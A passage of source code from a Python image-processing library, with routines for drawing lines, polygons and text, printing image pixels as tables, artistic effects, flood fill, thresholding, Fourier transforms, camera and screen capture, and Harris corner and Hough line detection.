aliases badly for most lines; if appearance is more important than
speed, there is a separate EVE routine that implements anti-aliased
line-drawing using an algorithm due to Xiaolin Wu.
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
y0 = int (y0)
x0 = int (x0)
y1 = int (y1)
x1 = int (x1)
if abs(y1 - y0) > abs(x1 - x0): steep = True
else: steep = False
if steep:
y0, x0 = x0, y0
y1, x1 = x1, y1
if x0 > x1:
x1, x0 = x0, x1
y1, y0 = y0, y1
dx = x1 - x0 + 0.0
dy = abs(y1 - y0)
e = 0.0
if dx == 0.0: de = 1.0e30
else: de = dy / dx
y = y0
if y0 < y1: ystep = 1
else: ystep = -1
for x in range (x0,x1+1):
if steep:
if x >= 0 and x < ny and y >= 0 and y < nx: im[x,y,:] = v
else:
if x >= 0 and x < nx and y >= 0 and y < ny: im[y,x,:] = v
e += de
if e >= 0.5:
y += ystep
e -= 1.0
#-------------------------------------------------------------------------------
def draw_oriented_box (im, corners, v=255):
"""
"""
nc = len (corners)
for c in range (1, nc):
draw_line_fast (im, corners[c-1][0], corners[c-1][1],
corners[c][0], corners[c][1], v=v)
draw_line_fast (im, corners[nc-1][0], corners[nc-1][1],
corners[0][0], corners[0][1], v=v)
#-------------------------------------------------------------------------------
def draw_polygon (im, yc, xc, r, nsides, v=max_image_value, fast=False,
rotate=0, fill=None, threshold=50):
"""
Draw an nsides-sided polygon of radius r centred at (yc, xc),
returning a list of its vertices.
Arguments:
im image upon which the text is to be written (modified)
yc y-value (row) of the centre of the polygon
xc x-value (column) of the centre of the polygon
radius radius of the circle in which the polygon is enclosed
nsides number of sides that the polygon is to have
v value to which pixels are to be set
(default: max_image_value)
fast if True, don't use anti-aliased lines (default: False)
rotate angle in radians through which the polygon should be rotated
clockwise (default: 0)
fill value with which the inside of the box is to be filled
(default: None, meaning it is unfilled)
threshold value used to distinguish pixels on the circle from
surrounding ones, passed on into fill_outline (default: 50)
"""
im = reshape3 (im)
angle = 2.0 * math.pi / nsides
y0 = yc + r * math.sin (rotate)
x0 = xc + r * math.cos (rotate)
vertices = []
for i in range (1, nsides+1):
vertices.append ((y0, x0))
y1 = yc + r * math.sin (i * angle + rotate)
x1 = xc + r * math.cos (i * angle + rotate)
draw_line (im, y0, x0, y1, x1, v, fast=fast)
y0 = y1
x0 = x1
if not fill is None:
fill_outline (im, yc, xc, fill, threshold=threshold)
return vertices
#-------------------------------------------------------------------------------
def draw_star (im, yc, xc, radius, npoints, inner_radius=None,
v=max_image_value, fast=False, rotate=0, fill=False,
threshold=50):
"""
Draw an npoints-pointed star of radius r centred at (yc, xc).
Arguments:
im image upon which the text is to be written (modified)
yc y-value (row) of the centre of the star
xc x-value (column) of the centre of the star
radius radius of the circle in which the polygon is enclosed
npoints number of points that the star is to have
inner_radius radius of the inner parts of the star
v value to which pixels are to be set
(default: max_image_value)
fast if True, don't use anti-aliased lines (default: False)
rotate angle in radians through which the polygon should be
rotated clockwise (default: 0)
fill value with which the inside of the box is to be filled
(default: None, meaning it is unfilled)
threshold value used to distinguish pixels on the circle from
surrounding ones, passed on into fill_outline
(default: 50)
"""
im = reshape3 (im)
angle = math.pi / npoints
if inner_radius is None: inner_radius = radius / 2
y0 = yc + radius * math.sin (rotate)
x0 = xc + radius * math.cos (rotate)
np = 2 * npoints + 1
vertices = []
for i in range (1, np):
vertices.append ((y0, x0))
if (i // 2) * 2 == i: r = radius
else: r = inner_radius
y1 = yc + r * math.sin (i * angle + rotate)
x1 = xc + r * math.cos (i * angle + rotate)
draw_line (im, y0, x0, y1, x1, v, fast=fast)
y0 = y1
x0 = x1
if fill:
fill_outline (im, yc, xc, v, v//2, threshold=threshold)
return vertices
#-------------------------------------------------------------------------------
def draw_text (im, text, y, x, v=max_image_value, size=1, bg=None, align="c"):
"""
Write text onto an image.
Arguments:
im image upon which the text is to be written (modified)
text string of characters to be written onto the image
y y-value (row) at which the text is to be written
x x-value (column) at which the text is to be written
v value to which pixels in the text are to be set
(default: max_image_value)
size integer scale factor for repeating pixels when writing the text
align alignment of the text, one of (default: 'c')
'c': centred
'l': left-justified
'r': right-justified
This routine is based on C code kindly provided by Nick Glazzard of
Speedsix.
"""
global character_height, character_width, character_bitmap
size = int (size)
# Work out the start position on the image depending on the text alignment.
if align == 'l' or align == 'L':
offset = 0
elif align == 'r' or align == 'R':
offset = - character_width * len(text) * size
else:
offset = - character_width * len(text) * size // 2
# Draw each character in turn, repeating each pixel size times.
im = reshape3 (im)
ny, nx, nc = sizes (im)
for c in text:
yy = y
for row in range (0, character_height):
b = character_bitmap[c][row]
for ys in range (0, size):
if yy >= 0 and yy < ny:
xx = x + offset
for col in range (0, character_width):
for xs in range (0, size):
if xx >= 0 and xx < nx:
cc = character_width - col
if b & (1<<cc):
im[yy,xx,:] = v
elif not bg is None:
im[yy,xx,:] = bg
xx += 1
yy -= 1
offset += character_width * size
#-------------------------------------------------------------------------------
def examine (im, name="", format="%3.0f", lformat=None, ff=False, fd=sys.stdout,
ylo=0, xlo=0, yhi=None, xhi=None, clo=0, chi=None):
"""
Output an image in human-readable form.
Arguments:
im image whose pixels are to be output
name name of the image (default : '')
format format used for writing pixels (default: '%3.0f')
lformat format used for column and row numbers (default: contextual)
ff if True, output a form-feed before the output (default: False)
fd file on which output is to be written (default: sys.stdout)
ylo lower y-value of the region to be output (default: 0)
xlo lower x-value of the region to be output (default: 0)
yhi upper y-value of the region to be output (default: last pixel)
xhi upper x-value of the region to be output (default: last pixel)
clo first channel of the region to be output (default: 0)
chi last channel of the region to be output (default: last channel)
ff if True, output a form feed before the image (default: False)
"""
# Work out the width of a printed pixel by setting "0". We use that to
# determine lformat, unless set explicitly by the caller.
width = len (format % 0.0)
if lformat is None: lformat = "%%%dd" % width
# Print the introduction.
im = reshape3 (im)
ny, nx, nc = sizes (im)
py = px = pc = "s"
if ny == 1: py = ""
if nx == 1: px = ""
if nc == 1: pc = ""
if ff: ffc = ''
else: ffc = ''
if name != "": name += " "
print (ffc + "Image %sis %d line%s, %d pixel%s/line, %d channel%s " \
% (name, ny, py, nx, px, nc, pc), file=fd)
# Print the element numbers across the top and a line.
if yhi is None: yhi = ny
if xhi is None: xhi = nx
if chi is None: chi = nc
nyl = yhi - ylo
nxl = xhi - xlo
sep = ' ' * width + '+' + '-' * (width+1) * nxl + '-+'
print (' ' * (width+1), file=fd, end=" ")
for x in range (xlo, xhi):
print (lformat % (x), file=fd, end=" ")
print ()
print (sep, file=fd)
# Print the pixels of the rows, with the channels above each other.
for y in range (ylo, yhi):
for c in range (clo, chi):
if c == clo:
print (lformat % (y) + '|', file=fd, end=" ")
else:
print (len (lformat % (y)) * ' ' + '|', file=fd, end=" ")
for x in range (xlo, xhi):
print (format % (im[y,x,c]), end=" ", file=fd)
print ("|", file=fd)
print (sep, file=fd)
#-------------------------------------------------------------------------------
def examine_latex (im, name="", format="%3.0f", lformat=None, fd=sys.stdout,
ylo=0, xlo=0, yhi=None, xhi=None, clo=0, chi=None):
"""
Output a region of an image in human-readable form as a LaTeX table.
Arguments:
im image whose pixels are to be output
name name of the image (default : '')
format format used for writing pixels (default: '%3.0f')
lformat format used for column and row numbers (default: contextual)
fd file on which output is to be written (default: sys.stdout)
ylo lower y-value of the region to be output (default: 0)
xlo lower x-value of the region to be output (default: 0)
yhi upper y-value of the region to be output (default: last pixel)
xhi upper x-value of the region to be output (default: last pixel)
clo first channel of the region to be output (default: 0)
chi last channel of the region to be output (default: last channel)
"""
# Work out the width of a printed pixel by setting "0". We use that to
# determine lformat, unless set explicitly by the caller.
width = len (format % 0.0)
if lformat is None: lformat = "%%%dd" % width
sep = " \\hline\n"
im = reshape3 (im)
ny, nx, nc = sizes (im)
if yhi is None: yhi = ny
if xhi is None: xhi = nx
if chi is None: chi = nc
# Format the introduction to the table.
text = "\\begin{table}\n \\centering\n \\begin{tabular}{r|"
for x in range (xlo, xhi):
text += "r"
text += "|}\n"
# Print the element numbers across the top and a line.
for x in range (xlo, xhi):
text += " & " + lformat % x
text += "\\\\\n"
text += sep
# Print the pixels of the rows, with the channels above each other.
for y in range (ylo, yhi):
for c in range (clo, chi):
if c == clo:
text += lformat % (y)
for x in range (xlo, xhi):
text += " & " + format % (im[y,x,c])
text += "\\\\\n"
text += sep
# Finish off the table.
text += " \\end{tabular}\n"
py = px = pc = "s"
if ny == 1: py = ""
if nx == 1: px = ""
if nc == 1: pc = ""
if name != "": name += " "
text += \
" \\caption{Image %sis %d line%s, %d pixel%s/line, %d channel%s}\n" \
% (name, ny, py, nx, px, nc, pc)
text += "\\end{table}"
# Output the text we've produced.
print (text, file=fd)
#-------------------------------------------------------------------------------
def examine_markdown (im, name="", format="%3.0f", lformat=None, fd=sys.stdout,
ylo=0, xlo=0, yhi=None, xhi=None, clo=0, chi=None):
"""
Output a region of an image in human-readable form as a Makedown table
compatible with Pandoc.
Arguments:
im image whose pixels are to be output
name name of the image (default : '')
format format used for writing pixels (default: '%3.0f')
lformat format used for column and row numbers (default: contextual)
fd file on which output is to be written (default: sys.stdout)
ylo lower y-value of the region to be output (default: 0)
xlo lower x-value of the region to be output (default: 0)
yhi upper y-value of the region to be output (default: last pixel)
xhi upper x-value of the region to be output (default: last pixel)
clo first channel of the region to be output (default: 0)
chi last channel of the region to be output (default: last channel)
"""
# Work out the width of a printed pixel by setting "0". We use that to
# determine lformat, unless set explicitly by the caller.
width = len (format % 0.0)
if lformat is None: lformat = "%%%dd" % width
im = reshape3 (im)
ny, nx, nc = sizes (im)
if yhi is None: yhi = ny
if xhi is None: xhi = nx
if chi is None: chi = nc
# Print the element numbers across the top and a line.
text = "| "
format_line = "|----:|"
for x in range (xlo, xhi):
text += "|" + lformat % x
format_line += "------:|"
text = text + "|\n" + format_line + "\n"
# Print the pixels of the rows, with the channels above each other.
for y in range (ylo, yhi):
for c in range (clo, chi):
text += "|"
if c == clo:
text += lformat % (y)
for x in range (xlo, xhi):
text += "|" + format % (im[y,x,c])
text += "|\n"
# Finish off the table.
py = px = pc = "s"
if ny == 1: py = ""
if nx == 1: px = ""
if nc == 1: pc = ""
if name != "": name += " "
text += ": Image %sis %d line%s, %d pixel%s/line, %d channel%s\n" \
% (name, ny, py, nx, px, nc, pc)
# Output the text we've produced.
print (text, file=fd)
#-------------------------------------------------------------------------------
def effect_drawing (im, blursize=17, opacity=0.9):
"""
Convert an image into a 'drawing' and return it.
Arguments:
im image to be converted into a 'drawing'
blur size of the square mask to be used for blurring the image
(default: 17)
opacity the opacity to be used when blending the blur with
the original (default: 0.9)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nc > 1: im1 = mono (im)
else: im1 = copy (im)
# Invert the contrast.
hi = maxval (im1)
im2 = hi - im1
# Blur the image.
blurmask = image ((blursize, blursize, 1))
set (blurmask, 1.0)
convolve (im2, blurmask, 'mean')
# Blend the layers, clipping the result to keep it sensible.
fac = opacity / maxval (im2)
im2 = im1 / (1.0 - im2 * fac)
clip (im2, 0.0, max_image_value)
return im2
#-------------------------------------------------------------------------------
def effect_sepia (im):
"""
Make an image have a sepia appearance.
Arguments:
im image to be made sepia (modified)
"""
im = reshape3 (im)
r = get_channel (im, 0)
g = get_channel (im, 1)
b = get_channel (im, 2)
rr = 0.393 * r + 0.769 * g + 0.189 * b
gg = 0.349 * r + 0.686 * g + 0.168 * b
bb = 0.272 * r + 0.534 * g + 0.131 * b
set_channel (im, 0, rr)
set_channel (im, 1, gg)
set_channel (im, 2, bb)
clip (im, 0.0, max_image_value)
#-------------------------------------------------------------------------------
def effect_streaks (im, width=1, height=6, direction='h', occ=0.9, fg=0.0,
bg=max_image_value):
"""
Return a representation of an image as horizontal or vertical streaks.
Convert an image `im` into a series of two-level streaks, the width of
the streak indicating the darkness of that part of the original
image. The inspiration for the routine is the illustrations in the
book 'The Cloudspotter's Guide' by Gavin Pretor-Pinny.
Arguments:
im image to be processed
width width of each region to be processed (default: 1)
height width of each region to be processed (default: 6)
direction direction in which the streaks will go (default: 'h')
'h': horizontal
'v': vertical
occ maximum occupancy of each region (default: 0.9)
fg foreground value (0.0)
bg background value (max_image_value)
"""
# Produce single-channel output, even from a multi-channel input image.
im = reshape3 (im)
ny, nx, nc = sizes (im)
to = image ((ny, nx, 1))
# Get the image range and handle the case when the image is blank.
lo, hi = extrema (im)
if lo >= hi:
set (to, 0.0)
return to
# Process the image in regions of width x height pixels. For each region,
# we calculate its mean, then determine what proportion of that region
# should be filled with the foreground value. We then set the entire
# region to the background value, and finally fill the relevant proportion
# of the region with the foreground value.
# There are two aesthetic refinements to this process. The first is that
# we incorporate a contrast reversal if the foreground value is darker
# than the background one. The second is that we reduce the proportion of
# the region that is filled by an occupancy factor as this makes the end
# result look better.
if direction == 'v' or direction == 'V':
horiz = False
fac = width * occ / (hi - lo)
else:
horiz = True
fac = height * occ / (hi - lo)
for y in range (0, ny, height):
yto = y + height
if yto > ny: yto = ny
for x in range (0, nx, width):
xto = x + width
if xto > nx: xto = nx
reg = region (im, y, yto, x, xto)
lo, hi = extrema (reg)
if bg > fg:
val = int((hi - mean(reg)) * fac + 0.5)
else:
val = int((mean (reg) - lo) * fac + 0.5)
if val < 0: val = 0
set_region (to, y, x, yto, xto, bg)
if horiz:
set_region (to, y, x, y + val, xto, fg)
else:
set_region (to, y, x, yto, x + val, fg)
return to
#-------------------------------------------------------------------------------
def effect_solarize (im, threshold=None):
"""
Solarize an image. Solarization, sometimes called the Sabattier effect
in photography, involves reversing the contrast of the values of pixels
in `im` above `threshold`. If `threshold` is not supplied, a value of
half the maximum image value is used.
Arguments:
im image to be solarized (modified)
threshold threshold above which the effect is applied
"""
im = reshape3 (im)
value = maxval (im)
if threshold is None: threshold = value / 2.0
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
if im[y,x,c] < threshold:
im[y,x,c] = value - im[y,x,c]
#-------------------------------------------------------------------------------
def expand (im, mask):
"""
Perform a morphological expand on `im` with `mask`, returning the result.
Arguments:
im image to be processed
mask mask image
"""
return convolve (im, mask, "max")
#-------------------------------------------------------------------------------
def extract (im, ry, rx, yc, xc, step=1.0, angle=0.0, wrap=False, val=0,
interpolator='gradient'):
"""
Return a ry x rx-pixel region of im centred at (yc, xc).
Arguments:
im image from which the region is to be extracted
ry number of pixels in the y-direction of the region
rx number of pixels in the x-direction of the region
yc y-position of the centre of the region to be extracted
xc x-position of the centre of the region to be extracted
step step size on im (default: 1.0)
or a list [ystep, xstep]
angle angle of sampling grid relative to im, measured
anticlockwise in radians (default: 0.0)
wrap if True, 'falling off' one size of the image will wrap
around to the opposite side (otherwise, such pixels will
be zero) (default: False)
val value to which pixels outside the image are set if not
wrapping (default: 0)
interpolator interpolation scheme, one of 'gradient', 'bilinear' or
'nearest' (default: 'gradient')
The region extracted from im can be centred around a non-integer
position in im, and extracted with an arbitrary step size at an
arbitrary angle. The interpolation schemes supported are either
conventional bilinear or a gradient-based one described in
P.R. Smith (Ultramicroscopy vol 6, pp 201--204, 1981), as well as
simple nearest neighbour.
"""
if isinstance (step, list):
ystep, xstep = step
else:
ystep = xstep = step
im = reshape3 (im)
ny, nx, nc = sizes (im)
region = image ((ry, rx, nc))
y0 = yc - ry // 2
x0 = xc - rx // 2
if abs (angle) < tiny and \
abs (ystep - 1.0) < tiny and abs (xstep - 1.0) < tiny and \
ry < ny and rx < nx and y0 >= 0 and x0 >= 0 and \
abs (y0 - int(y0)) < tiny and abs (x0 - int(x0)) < tiny:
region = im[y0:y0+ry,x0:x0+rx]
else:
mim = im
if interpolator == 'gradient':
interp = 2
mim = mono (im)
elif interpolator == 'bilinear': interp = 3
elif interpolator == 'nearest': interp = 1
else:
print (('extract: invalid interpolator "%s"; ' + \
'using "nearest"') % interpolator, file=fd)
interp = 1
cosfac = math.cos (-angle)
sinfac = math.sin (-angle)
disty = ry / 2
distx = rx / 2
yst = yc + distx * xstep * sinfac - disty * ystep * cosfac
xst = xc - distx * xstep * cosfac - disty * ystep * sinfac
for y in range (0, ry):
ypos = yst
xpos = xst
for x in range (0, rx):
if (ypos < 0 or ypos >= ny or xpos < 0 or xpos >= nx) \
and not wrap:
region[y,x] = val
else:
ylo = int (ypos)
dy = ypos - ylo
dy1 = 1 - dy
ylo = (ylo + ny) % ny
yhi = ylo + 1
if yhi >= ny and not wrap:
region[y,x] = val
else:
yhi = (yhi + ny) % ny
xlo = int (xpos)
dx = xpos - xlo
dx1 = 1 - dx
xlo = (xlo + nx) % nx
xhi = xlo + 1
if xhi >= nx and not wrap:
region[y,x] = val
else:
xhi = (xhi + nx) % nx
if interp == 3:
region[y,x] = \
dy *dx*im[yhi,xhi] + dy *dx1*im[yhi,xlo] + \
dy1*dx*im[ylo,xhi] + dy1*dx1*im[ylo,xlo]
elif interp == 2:
if abs (mim[ylo,xlo] - mim[yhi,xhi]) > \
abs (mim[yhi,xlo] - mim[ylo,xhi]):
region[y,x] = (dx-dy) * im[ylo,xhi] + \
dx1*im[ylo,xlo] + dy*im[yhi,xhi]
else:
region[y,x] = (dx1-dy) * im[ylo,xlo] + \
dx*im[ylo,xhi] + dy*im[yhi,xlo]
else:
region[y,x] = im[int(ylo+0.5),int(xlo+0.5)]
ypos -= ystep * sinfac
xpos += xstep * cosfac
yst += ystep * cosfac
xst += xstep * sinfac
return region
#-------------------------------------------------------------------------------
def extrema (im):
"""
Return the minimum and maximum of an image.
Arguments:
im image whose extrema are to be found
"""
return [im.min(), im.max()]
#-------------------------------------------------------------------------------
def fill_outline (im, y, x, v=max_image_value, threshold=50):
"""
Flood fill the region lying within a border.
Arguments:
im image containing region to be filled (modified)
yc y-coordinate of point at which filling is to start
xc x-coordinate of point at which filling is to start
v value to which the filled region is to be set
(default: max_image_value)
threshold minimum difference in value from centre pixel at boundary
(default: 50)
This code is based on that written by Eric S. Raymond at
http://mail.python.org/pipermail/image-sig/2005-September/003559.html
This code is an elegant Python implementation of Paul Heckbert's
classic flood-fill algorithm, presented in"Graphics Gems".
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
if x < 0 or x >= nx or y < 0 or y >= ny: return
vc = im[y,x].sum()
vv = sum_elements (v)
if abs(vc - vv) < threshold: return
im[y,x] = v
# At each step there is a list of edge pixels for the flood-filled
# region. Check every pixel adjacent to the edge; for each, if it is
# eligible to be coloured, colour it and add it to a new edge list.
# Then you replace the old edge list with the new one. Stop when the
# list is empty.
edge = [(y, x)]
while edge:
newedge = []
for (y, x) in edge:
for (t, s) in ((y, x+1), (y, x-1), (y+1, x), (y-1, x)):
if s >= 0 and s < nx and t >= 0 and t < ny and \
abs(im[t,s].sum() - vc) < threshold:
im[t,s] = v
newedge.append ((t, s))
edge = newedge
#-------------------------------------------------------------------------------
def find_in_path (prog):
"""
Return the absolute pathname of a program which is in the search path.
Arguments:
prog program whose absolute filename is to be found
"""
# First, split the PATH variable into a list of directories, then find
# the first program from our list that is in the path.
path = os.environ['PATH'].split (os.pathsep)
for p in path:
fp = os.path.join(p, prog)
if os.path.exists(fp): return os.path.abspath(fp)
return None
#-------------------------------------------------------------------------------
def find_peaks (im, threshold):
"""
Return a list of the peaks in an image in descending order of height.
A peak is defined as a pixel whose value is larger than those of all
surrounding pixels and has a value greater than threshold. Each
peak is described by a three-element list containing its pixel value
and the y- and x-values at which the peak was found.
Arguments:
im image whose peaks are to be found
threshold value used for determining which peaks are significant
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
peaks = list ()
for y in range (1, ny-1):
for x in range (1, nx-1):
if im[y,x,0] > im[y-1,x-1,0] \
and im[y,x,0] > im[y-1,x ,0] \
and im[y,x,0] > im[y-1,x+1,0] \
and im[y,x,0] > im[y ,x-1,0] \
and im[y,x,0] > im[y ,x+1,0] \
and im[y,x,0] > im[y+1,x-1,0] \
and im[y,x,0] > im[y+1,x ,0] \
and im[y,x,0] > im[y+1,x+1,0] \
and im[y,x,0] > threshold:
peaks.append ([im[y,x,0], y, x])
# Return the peaks sorted into descending order.
peaks.sort (reverse=True)
return peaks
#-------------------------------------------------------------------------------
def find_skin (im, hlo=300, hhi=30, slo=10, shi=70, vlo=10, vhi=80,
ishsv=False):
"""
Return a binary mask identifying pixels that are likely to be skin.
This routine identifies potential skin pixels in the image im. The
image is converted to HSV format unless ishsv is True, and then
pixels in the HSV region bounded by [hlo:hhi], [slo:shi] and
[vlo:vhi] are identified as being skin. As skin is vaguely red, and
red in HSV space is 0, hlo will normally be about 330 (degrees) and
hhi about 30 degrees. The returned image has non-zero pixels where
skin has been identified.
Note that this is not a reliable skin detector it can be confused by
the use of incandescent lighting or by similarly-coloured materials
such as wood.
Arguments:
im image in which skin regions are to be found
hlo lowest skin hue (default: 300)
hhi highest skin hue (default: 30)
slo lowest skin saturation (default: 10)
shi highest skin saturation (default: 70)
vlo lowest skin value (default: 10)
vhi highest skin value (default: 80)
ishsv if True, the input image contains pixels in HSV format
rather than RGB (default: False)
"""
return segment_hsv (im, hlo, hhi, slo, shi, vlo, vhi, ishsv)
#-------------------------------------------------------------------------------
def find_threshold_otsu (im):
"""
Return the optimal image threshold, found using Otsu's method.
This routine is minimally adapted from the code in 'ImageP.py' by
Tamas Haraszti, which he says is ultimately derived from Octave code
written by Barre-Piquot. I note, in passing, that this facility is
also available as part of Matlab, though I've never seen the code.
The algorithm itself is N. Otsu: 'A Threshold Selection Method from
Gray-Level Histograms', IEEE Transactions on Systems, Man and
Cybernetics vol 9 no 1 pp 62-66 (1979).
Arguments:
im image for which the threshold is to be found
"""
vals = im.copy ()
mn = vals.min ()
vals = vals - mn
N = int (vals.max ())
h, x = numpy.histogram (vals, bins=N)
h = h / (h.sum() + 1.0)
w = h.cumsum ()
i = numpy.arange (N, dtype=float) + 1.0
mu = numpy.zeros (N, float)
mu = (h*i).cumsum()
w1 = 1.0 - w
mu0 = mu / w
mu1 = (mu[-1] - mu) / w1
s = w * w1 * (mu1 - mu0)**2
return float ((s == s.max()).nonzero()[0][0]) + mn
#-------------------------------------------------------------------------------
def flatten_list (l, ltypes=(list, tuple)):
"Flatten an arbitrarily-nested set of lists."
ltype = type (l)
i = 0
while i < len (l):
while isinstance (l[i], ltypes):
if not l[i]:
l.pop (i)
i -= 1
break
else:
l[i:i+1] = l[i]
i += 1
return ltype(l)
#-------------------------------------------------------------------------------
def fourier (im, forward=True):
"""
Return the Fourier transform of an image. Note that the zero frequency is
in the centre of the image.
Arguments:
im image to be transformed
forward if True, preform a forward transform (default: True)
"""
if forward:
# Transform, then move the origin to the centre of the image.
temp = numpy.fft.fft2 (im, axes=(-3,-2))
res = numpy.fft.fftshift (temp, axes=(-3,-2))
else:
# Move the origin from the centre to the corner, then transform.
temp = numpy.fft.ifftshift (im, axes=(-3,-2))
res = numpy.fft.ifft2 (temp, axes=(-3,-2))
return res
#-------------------------------------------------------------------------------
def frange (lo, hi, inc):
"""
A floating-point analogue of `range`, returning a list of values from `lo`
to `hi` inclusive in `inc` steps.
Arguments:
lo first value to be returned
hi last value that may be returned
inc increment between values
The developers of Python avoided having `range` support floating-point
values because they were concerned that results may vary from machine to
machine. This remains the case but the convenience of having a single
routine doing all this work often outweighs the possible disadvantages.
However, you should use this routine with caution.
"""
# Although we're working in Python 3, we avoid `yield` and generate a list.
# We run separate loops for positive and negative values of `inc`.
vals= []
if inc > 0:
v = lo
while v <= hi:
vals += [v]
v += inc
else:
v = lo
while v >= hi:
vals += [v]
v += inc
return vals
#-------------------------------------------------------------------------------
def glcm (im, yshift, xshift, max=256):
"""
Return the grey-level co-occurrence matrix (GLCM) of im for yshift and
xshift.
Arguments:
im the image from which the channel is to be extracted
yshift downward shift on the image
xshift rightward shift on the image
max number of possible grey level values
"""
im = reshape3 (im)
glcm = numpy.zeros((max, max, 1), dtype=int)
# Make a shifted version of the image, then calculate the GLCM.
copy = im.copy ()
shifted = shift_and_wrap (im, yshift, xshift)
for i, j in zip(copy.ravel(), shifted.ravel()):
glcm[int(i), int(j), 0] += 1
return glcm
#-------------------------------------------------------------------------------
def get_channel (im, c):
"""
Return a channel of an image.
Arguments:
im the image from which the channel is to be extracted
c the index of the channel that is to be extracted
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
ch = image ((ny, nx, 1))
ch[:,:,0] = im[:,:,c]
return ch
#-------------------------------------------------------------------------------
def grab ():
"""
Return an image grabbed using the computer's camera.
"""
global PROGRAMS
# Most of the work is done in a single call.
pic = invoke_image_program ("grab image")
return pic
#-------------------------------------------------------------------------------
def grab_screen ():
"""
Return an image of the screen
"""
# Most of the work is done in a single call.
pic = invoke_image_program ("grab screen")
# Apple's screencapture returns a PNG file with alpha channel but for
# consistency we want only a three-channel image. Handle this case and
# return the image.
ny, nx, nc = sizes (pic)
if nc > 3:
pic = pic[:,:,:3]
return pic
#-------------------------------------------------------------------------------
def harris (im, window_size=10, k=0.04, threshold=10000, min_separation=20,
disp=False, offset=None):
"""
Return corners found in an image using the Harris and Stephens
detector.
Arguments:
im image to be processed
window_size the size of the window slid over the image
(default: 10)
k the constant used with calculating the response of
a corner (default: 0.04)
threshold minimum response for a pixel to be considered a
corner (default: 10000)
min_separation if greater than zero, set the minimum distance apart
of corners (default: 20)
disp if set, display the corners on a darkened image
(default: False)
offset if supplied, this is added to corner locations in an attempt
to overcome the systematic error in the operator; if omitted,
a value is calculated from window_size
This routine was adapted from code written by Jordan Hughes at UC
Santa Barbara (see https://github.com/hughesj919/HarrisCorner) with
a few refinements inspired by code written by Jan Erik Solem (see
http://www.janeriksolem.net/2009/01/harris-corner-detector-in-python.html).
"""
# Ensure we have a one-channel image.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nc == 1:
mim = copy (im)
else:
mim = mono (im)
# Find the x and y derivatives; numpy requires a 2D shape for the data.
mim = im.reshape (ny, nx)
dy, dx = numpy.gradient (mim)
Ixx = dx**2
Ixy = dy*dx
Iyy = dy**2
# Set the fiddle factor that attempts to overcome the systematic error
# in locations introduced by the operator.
if offset is None:
offset = window_size // 2
# Loop through the image and find the corners. At each position, we
# calculate the response as in the paper by Harris and Stephens.
# Response values above threshold are candidate corners.
responses = []
for y in range (offset, ny-offset):
for x in range (offset, nx-offset):
windowIxx = Ixx[y-offset:y+offset+1, x-offset:x+offset+1]
windowIxy = Ixy[y-offset:y+offset+1, x-offset:x+offset+1]
windowIyy = Iyy[y-offset:y+offset+1, x-offset:x+offset+1]
Sxx = windowIxx.sum ()
Sxy = windowIxy.sum ()
Syy = windowIyy.sum ()
# Calculate the determinant and trace, and hence the corner
# response.
det = Sxx * Syy - Sxy**2
trace = Sxx + Syy
r = det - k * trace**2
if r > threshold:
responses += [[r, y, x]]
# If min_separation is greater than zero, sort the responses into
# descending order, then make sure no corner location is within
# min_distance of another. The calculation of the response strengths
# introduces a systematic error which we attempt to correct by shifting
# the corners detected by the offset used above; however, I appreciate
# this is an imperfect correction.
if min_separation > 0:
sorted (responses, key= lambda resp: resp[0], reverse=True)
corners = [[responses[0][0], responses[0][1], responses[0][2]]]
d2 = min_separation**2
for rr, ry, rx in responses:
far = True
for cr, cy, cx in corners:
sep2 = (ry - cy)**2 + (rx - cx)**2
if sep2 < d2:
far = False
break
if far:
corners += [[rr, ry, rx]]
# Shift the corners to (hopefully) put them in the right places.
for ic in range (0, len(corners)):
r, cy, cx = corners[ic]
corners[ic] = [r, cy+offset, cx+offset]
else:
# Copy across all the responses.
corners = []
for rr, ry, rx in responses:
corners += [[rr, ry, rx]]
sorted (corners, reverse=True)
# Optionally display the locations on the image.
if disp:
dispim = mono_to_rgb (mim)
mark_peaks (dispim, corners, symbol=".", size=1, disp=True)
return corners
#-------------------------------------------------------------------------------
def high_peaks (peaks, factor=0.5):
"""
Given a sorted list of peaks, return those within factor of the
highest.
Arguments:
peaks list of peaks sorted into descending order
factor peaks of height within factor of the highest are returned
(default: 0.5)
"""
threshold = peaks[0][0] * factor
n = 0
for ht, y, x in peaks:
if ht < threshold: break
n += 1
return peaks[:n]
#-------------------------------------------------------------------------------
def histogram (im, bins=64, limits=None, disp=False):
"""
Find the histogram of an image.
Arguments:
im image for which the histogram is to be found
bins number of bins in the histogram (default: 64)
limits extrema between which the histogram is to be found
(default: calculated from the image)
disp if True, the histogram will be drawn (default: False)
"""
h, a = numpy.histogram (im, bins, limits)
a = a[:bins]
if disp:
graph (a, h, title="Histogram",
xlabel="bin", ylabel="number of pixels",
style="histogram")
return a, h
#-------------------------------------------------------------------------------
def hough_line (im, nr=300, na=200, threshold=10, max_peaks=None,
disp=False, dispacc=False, v=max_image_value):
"""
Perform a straight-line Hough transform of the image 'im', which
should normally contain output from an edge detector. It returns a
list of the significant peaks found (see find_peaks for a
description of its content) and the image that forms the
accumulator. The accumulator is of dimension [nr, na], the distance
from the origin (yc, xc) being plotted along the y-direction (first
subscript) and the corresponding angle along the x-direction (second
subscript).
Arguments:
im image for which the Hough transform is to be performed
nr number of radial values (y-direction of the accumulator)
na number of angle values (x-direction of the accumulator)
threshold minimum value for a significant peak in the accumulator
(default: 10)
max_peaks maximum number of peaks to retain (default: None)
disp if True, draw the lines found over the image (default: False)
dispacc if True, display the accumulator array (default: False)
v value used when drawing lines (default: max_image_value)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
acc = image ((nr, na, 1))
ainc = math.pi / na
rinc = math.sqrt (ny**2 + nx**2) / nr
# Fill arrays with the radius and angle values, to be returned.
rvals = []
for i in range (0, nr):
rvals += [i * rinc]
avals = []
for i in range (0, na):
avals += [i * ainc]
# Find non-zero points and update the Hough accumulator.
for y in range (0, ny):
for x in range (0, nx):
val = im[y,x,0]
if val > 0:
for ia in range (0, na):
ang = ia * ainc
r = x * math.cos(ang) + y * math.sin (ang)
ir = int (r / rinc)
acc[ir,ia,0] += 1
# Find peaks in the accumulator.
